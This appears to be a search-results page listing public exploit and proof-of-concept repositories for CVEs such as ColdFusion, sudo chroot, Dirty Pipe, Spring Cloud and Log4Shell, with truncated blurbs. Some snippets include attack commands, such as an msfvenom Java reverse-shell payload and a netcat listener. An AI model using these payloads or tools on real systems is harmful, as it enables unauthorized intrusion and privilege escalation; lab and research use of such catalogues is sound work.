34915 matches found
LFI-Destruction
🔥 LFI-Destruction – Authorized Penetration Testing Framework LFI-Destroyer is a comprehensive, modular Local File Inclusion LFI exploitation framework designed for authorized security professionals. It combines multiple attack techniques into a single, easy‑to‑use tool: SSH & Browser Artifact...
CVE-2023-26360-RCE
CVE-2023-26360 - Remote Code Execution on ColdFusion 2021 Sometimes, the scripts don't work at first attempt. Try a few times to make it work How to execute Create a payload with msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java Starting server.py Th...
CVE-2025-32463_POC
CVE-2025-32463 – sudo chroot "chwoot" PoC This repository provides a minimal, reproducible environment to demonstrate the CVE‑2025‑32463 privilege‑escalation flaw in sudo’s chroot feature. Contents File| Purpose ---|--- Dockerfile| Builds an Ubuntu 24.04 image with vulnerable sudo 1.9.16p2 and...
CVE-2025-14700-poc
CVE-2025-14700 POC Crafty Controller --login --password --lhost --lport 此脚本使用 netcat 在触发反向 Shell 载荷后设置监听器。如果您的监听机器上没有 netcat，它将无法工作。...
React2Shell-CVE-2025-55182-PoC-Reverse-Shell
🚀 React2Shell - CVE-2025–55182 Exploit Script 🔥 Intro This repository contains an exploit script for the React2Shell vulnerability CVE-2025–55182, which targets a specific type of Node.js Prototype Pollution leading to Remote Code Execution RCE. The script is specifically designed to establish a...
CVE-2024-5084-Red-Team
🚀 HashForm Exploit – Lab Demo This repository contains a proof-of-concept exploit for CVE-2024-5084, a vulnerability found in the Hash Form WordPress plugin. It’s meant only for learning, lab testing, and security research. 📌 About the Vulnerability CVE ID: CVE-2024-5084 Issue: Unauthenticated fi...
CVE-2023-30258-magnus-billing-v7-exploit
Magnus Billing System v7 Exploit This Python script automates the exploitation of a command injection vulnerability in Magnus Billing System v7, specifically in the icepay.php script located at /mbilling/lib/icepay/icepay.php. The exploit leverages the democ parameter to execute arbitrary command...
Dirtypipe-exploit
Dirtypipe-exploit Dirty Pipe CVE-2022-0847 PoC that hijacks a SUID binary to spawn. a root shell. and attempts to restore the damaged binary as well...
cve-2016-0728-testbed
CVE-2016-0728 testbed This repository contains a test program for CVE-2016-0728, a refcount leak and overflow bug in Linux, that leads to a use-after-free. The bug was found and explained by Perception Point. I am not affiliated to them. Usage root@kitploit: Welcome to the CVE-2016-0728 testbed...
CVE-2023-4220-Proof-of-concept
CVE-2023-4220-Proof-of-concept Chamilo LMS Unauthenticated Big Upload File that allows remote code execution CODE IS MADE AND USED FOR HACKTHEBOX CTF PERMX Unauthenticated file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS the php...
CVE-2023-38035-MobileIron-RCE
MobileIron CVE-2023-38035 Exploit README.md Description This bash script automates the process of scanning for vulnerable MobileIron systems that are susceptible to the CVE-2023-38035 exploit. The script performs multiple checks, including checking for required programs, downloading potential...
CVE-2019-2729_creal
CVE-2019-2729 - creal PoC for exploiting CVE-2019-2729 on WebLogic Exploit Usage root@kitploit: python3 creal.py -h usage: creal.py -h -u URL -f F -c CMD -s SH optional arguments: -h, --help show this help message and exit -u URL, --url URL target url -f F, --file F url file -c CMD, --command CMD...
CVE-2018-10933_ssh
CVE-2018-10933 to test this code: get vulnerable version of libssh at homepage: https://www.libssh.org/files/0.7/libssh-0.7.4.tar.xz uncompress and build, then go to example directory, there's a simple sshd server using libssh name: samplesshd-cb run this simple sshd by command: $ samplesshd-cb...
Strapi-RCE
Strapi-RCE Exploit script showcasing a mixture of CVE-2019-18818 and CVE-2019-19609 for unauthenticated remote code execution in Strapi CMS. Exploit This script exploits a vulnerability in Strapi CMS versions 3.0.0-beta.17.4 and lower, allowing for unauthenticated remote code execution. Descripti...
RCE-in-Spring-Cloud-CVE-2022-22963
Exploit for RCE in Spring Cloud CVE 2022-22963 Exploit for CVE-2022-22963 remote command execution in Spring Cloud Function See for details about the vulnerability here and here PoC Run the netcat on your host: root@kitploit: $ nc -lvnp 9001 Run the exploit example with default port 9001 on...
php_reverse_shell
This repository does not have a README...
cve-2025-23266-migration-bypass
cve-2025-23266-migration-bypass cve-2025-23266-migration-bypass two method given to get flag's content: 1. copy it from host into container's mounted dir; 2. use reverse shell to get it;...
php-8.1.0-dev-exploit
php-8.1-dev-Exploit ⚠️ Important read first This repository contains a Java proof-of-concept PoC intended for CTF / lab use only. Do not run this code against systems you do not own or do not have explicit written permission to test. Unauthorized exploitation is illegal. Use only in isolated...
Log4Shell-CVE-2021-44228-ENV
Log4Shell Reproduction Environment Example Description Victim machine IP: 47.47.47.47 Attacker machine IP: 48.48.48.48 Running the Vulnerable Docker on the Victim Machine Use the DockerFile to build the docker image and run: root@kitploit: docker build . -t vuln docker run -p 8080:8080 --name vul...